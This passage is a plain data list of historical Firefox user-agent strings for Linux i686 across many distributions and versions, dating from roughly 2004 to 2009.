rv:1.7.5) Gecko/20041107 Firefox/1.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041117 Firefox/1.0 (Debian package 1.0-2.0.0.45.linspire0.4) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041128 Firefox/1.0 (Debian package 1.0-4) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041204 Firefox/1.0 (Debian package 1.0.x.2-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041215 Firefox/1.0 Red Hat/1.0-12.EL4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041218 Firefox/1.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20050210 Firefox/1.0 (Debian package 1.0+dfsg.1-6) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20050221 Firefox/1.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20050814 Firefox/1.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050310 Firefox/1.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050311 Firefox/1.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050405 Firefox/1.0 (Ubuntu package 1.0.2) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.7) Gecko/20050421 Firefox/1.0.3 (Debian package 1.0.3-2) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 SUSE/1.0.4-1.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050512 Firefox/1.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050513 Fedora/1.0.4-1.3.1 Firefox/1.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050513 Firefox/1.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050517 Firefox/1.0.4 (Debian package 1.0.4-2) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050523 Firefox/1.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050524 Fedora/1.0.4-4 Firefox/1.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050610 Firefox/1.0.4 (Debian package 1.0.4-3) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040630 Firefox/0.9.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040802 Firefox/0.9.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040917 Firefox/0.9.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20060911 SUSE/1.5.0.10-0.2 Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070221 Red Hat/1.5.0.10-0.1.el4 Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070223 CentOS/1.5.0.10-0.1.el4.centos Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070226 Fedora/1.5.0.10-1.fc6 Firefox/1.5.0.10 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070226 Red Hat/1.5.0.10-0.1.el4 Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070302 Ubuntu/dapper-security Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070409 CentOS/1.5.0.10-2.el5.centos Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070510 Fedora/1.5.0.10-6.fc6 Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20070529 Red Hat/1.5.0.12-0.1.el4 Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20070530 Fedora/1.5.0.12-1.fc6 Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20070719 CentOS/1.5.0.12-0.3.el4.centos Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20071126 Fedora/1.5.0.12-7.fc6 Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.13pre) Gecko/20080207 Ubuntu/dapper-security Firefox/1.5.0.13pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060313 Debian/1.5.dfsg+1.5.0.1-4 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060313 Fedora/1.5.0.1-9 Firefox/1.5.0.1 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060324 Ubuntu/dapper Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060404 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.2) Gecko/20060419 Fedora/1.5.0.2-1.2.fc5 Firefox/1.5.0.2 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.2) Gecko Firefox/1.5.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060326 Firefox/1.5.0.3 (Debian-1.5.dfsg+1.5.0.3-2) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060425 SUSE/1.5.0.3-7 Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060504 Fedora/1.5.0.3-1.1.fc5 Firefox/1.5.0.3 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060523 Ubuntu/dapper Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060406 Firefox/1.5.0.4 (Debian-1.5.dfsg+1.5.0.4-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060527 SUSE/1.5.0.4-1.3 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060613 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060614 Fedora/1.5.0.4-1.2.fc5 Firefox/1.5.0.4 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060629 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060704 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060711 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060716 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060801 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060803 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060806 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060812 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060813 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060820 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060831 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 (Debian-1.5.dfsg+1.5.0.6-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 (Debian-1.5.dfsg+1.5.0.6-4) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060728 SUSE/1.5.0.6-0.1 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060802 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060803 Firefox/1.5.0.6 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060807 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060808 Fedora/1.5.0.6-2.fc5 Firefox/1.5.0.6 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060905 Fedora/1.5.0.6-10 Firefox/1.5.0.6 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060911 Red Hat/1.5.0.7-0.1.el4 Firefox/1.5.0.1 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20061014 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20060802 Mandriva/1.5.0.8-1.1mdv2007.0 (2007.0) Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20060911 SUSE/1.5.0.8-0.2 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061107 Fedora/1.5.0.8-1.fc6 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061110 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061115 Ubuntu/dapper-security Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20060911 SUSE/1.5.0.9-0.2 Firefox/1.5.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20060911 SUSE/1.5.0.9-3.2 Firefox/1.5.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20061215 Red Hat/1.5.0.9-0.1.el4 Firefox/1.5.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20061219 Fedora/1.5.0.9-1.fc6 Firefox/1.5.0.9 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20061221 Fedora/1.5.0.9-1.fc5 Firefox/1.5.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20070102 Ubuntu/dapper-security Firefox/1.5.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20070126 Ubuntu/dapper-security Firefox/1.5.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20070316 CentOS/1.5.0.9-10.el5.centos Firefox/1.5.0.9 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20060601 Firefox/2.0.0.10 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20061201 Firefox/2.0.0.10 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071015 SUSE/2.0.0.10-0.2 Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 (Debian-2.0.0.10-0etch1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071126 Ubuntu/7.10 (gutsy) Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071128 Fedora/2.0.0.10-2.fc7 Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071203 Ubuntu/7.10 (gutsy) Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071213 Fedora/2.0.0.10-3.fc8 Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071204 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071217 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20080201 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080129 Firefox/2.0.0.12 (Debian-2.0.0.12-0etch1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mnenhy/0.7.5.666 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080208 Fedora/2.0.0.12-1.fc8 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080208 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080208 Firefox/2.0b2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20061201 Firefox/2.0.0.13 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080316 SUSE/2.0.0.13-0.1 Firefox/2.0.0.13 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080316 SUSE/2.0.0.13-1.1 Firefox/2.0.0.13 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080325 Firefox/2.0.0.13 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080330 Ubuntu/7.10 (gutsy) Firefox/2.0.0.13 (Linux Mint) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20061201 Firefox/2.0.0.14 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080410 SUSE/2.0.0.14-0.4 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080416 Fedora/2.0.0.14-1.fc8 Firefox/2.0.0.14 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080417 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080423 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080428 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080508 Ubuntu/8.04 (hardy) Firefox/2.0.0.14 (Linux Mint) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080525 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.15) Gecko/20061201 Firefox/2.0.0.15 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.15) Gecko/20080702 Ubuntu/8.04 (hardy) Firefox/2.0.0.15 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080715 Fedora/2.0.0.16-1.fc8 Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080715 Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080715 Ubuntu/7.10 (gutsy) Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080716 Firefox/3.07 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080718 Ubuntu/8.04 (hardy) Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080722 Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080703 Mandriva/2.0.0.17-1.1mdv2008.1 (2008.1) Firefox/2.0.0.17 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080827 Firefox/2.0.0.10 (Debian-2.0.0.17-0etch1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080921 SUSE/2.0.0.17-1.2 Firefox/2.0.0.17 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080922 Ubuntu/7.10 (gutsy) Firefox/2.0.0.17 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080924 Ubuntu/8.04 (hardy) Firefox/2.0.0.17 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.18) Gecko/20080921 SUSE/2.0.0.18-0.1 Firefox/2.0.0.18 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.18) Gecko/20081112 Fedora/2.0.0.18-1.fc8 Firefox/2.0.0.18 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.18) Gecko/20081113 Ubuntu/8.04 (hardy) Firefox/2.0.0.18 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081202 Firefox (Debian-2.0.0.19-0etch1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081213 SUSE/2.0.0.19-0.1 Firefox/2.0.0.19 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081216 Fedora/2.0.0.19-1.fc8 Firefox/2.0.0.19 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081230 Firefox/2.0.0.19 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Firefox/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Firefox/2.0.0.1 (Debian-2.0.0.1+dfsg-2) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061220 Firefox/2.0.0.1 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20070110 Firefox/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20070224 Firefox/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.20) Gecko/20081217 Firefox(2.0.0.20) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.22pre) Gecko/20090327 Ubuntu/7.10 (gutsy) Firefox/2.0.0.22pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.22pre) Gecko/20090327 Ubuntu/8.04 (hardy) Firefox/2.0.0.22pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20061201 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20061201 Firefox/2.0.0.2 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070221 SUSE/2.0.0.2-6.1 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070225 Firefox/2.0.0.2 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070226 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070314 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070317 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20061201 Firefox/2.0.0.1 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3pre) Gecko/20070307 Firefox/2.0.0.3pre (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 (Kubuntu) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070530 Fedora/2.0.0.4-1.fc7 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070531 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070531 Firefox/2.0.0.4 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070602 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4pre) Gecko/20070509 Firefox/2.0.0.4pre (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20061201 Firefox/2.0.0.5 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070718 Fedora/2.0.0.5-1.fc7 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070719 Firefox/2.0.0.5 (Debian-2.0.0.5-0etch1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070725 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070728 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070804 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070807 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070831 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7) Gecko/20070921 Firefox/2.0.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7) Gecko/20070923 Firefox/2.0.0.7 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20061201 Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071004 Firefox/2.0.0.8 (Debian-2.0.0.8-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071008 FreeBSD/i386 Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071019 Fedora/2.0.0.8-1.fc7 Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071201 Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/1.5.0.9 (Debian-2.0.0.9-2) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071025 FreeBSD/i386 Firefox/2.0.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071103 Firefox/2.0.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071103 Firefox/2.0.0.9 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071105 Fedora/2.0.0.9-1.fc7 Firefox/2.0.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071105 Firefox/2.0.0.9 Mozilla/5.0 (X11; U; Linux i686; en_US; rv:1.8.1b1) Gecko/20060813 Firefox/2.0b1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061001 Firefox/2.0b (Swiftfox) Mozilla/5.0 (X11;U;Linux i686;en-US;rv:1.8.1) Gecko/2006101022 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8b5) Gecko/20051006 Firefox/1.4.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8b5) Gecko/20051008 Fedora/1.5-0.5.0.beta2 Firefox/1.4.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060110 Debian/1.5.dfsg-4 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060111 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060118 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060119 Debian/1.5.dfsg-4ubuntu3 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060130 Ubuntu/1.5.dfsg-4ubuntu6 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060806 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042513 Linux Mint/5 (Elyssa) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Linux Mint/6 (Felicia) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Linux Mint/7 (Gloria) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Ubuntu/8.10 (intrepid) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042708 Fedora/3.0.10-1.fc10 Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042812 Gentoo Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060308 Linux Mint/7 (Gloria) Firefox/3.0.11 